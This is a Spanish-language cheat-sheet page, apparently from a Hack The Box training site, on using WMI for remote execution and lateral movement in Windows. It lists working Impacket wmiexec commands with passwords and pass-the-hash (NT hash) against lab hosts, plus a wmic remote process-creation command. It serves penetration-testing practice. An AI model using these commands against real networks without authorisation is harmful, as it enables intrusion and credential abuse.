Instrumental de administración de Windows (WMI)
Ejecutar procesos en local o en remoto a través de WMI, sin crear servicios.
Cómo aparece en Hack The Box
wmiexec de Impacket da una shell semiinteractiva como el usuario que se autentica, más discreta que psexec porque no sube ni registra un servicio.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Movimiento lateral en Windows: pass-the-hash, pass-the-ticket, WinRM, PsExec y WMI 4 min de lectura Usar una contraseña, un hash NT o un ticket de Kerberos para ejecutar comandos en otras máquinas: evil-winrm, psexec, wmiexec, RDP, golden y silver tickets.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada en Windows y Active Directory › Active Directory
Shell como administrador con el hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NTActive Directory a fondo › Impacket
wmiexec (más sigiloso)
Atacante
impacket-wmiexec box.htb/usuario:'Password123!'@10.10.11.20
con pass-the-hash
Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]C2 y post-explotación › Movimiento lateral
impacket-wmiexec
Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
Crear un proceso remoto con wmic
Víctima
wmic /node:10.10.11.20 /user:box.htb\\usuario /password:'Password123!' process call create "cmd /c calc.exe"Ningún comando coincide.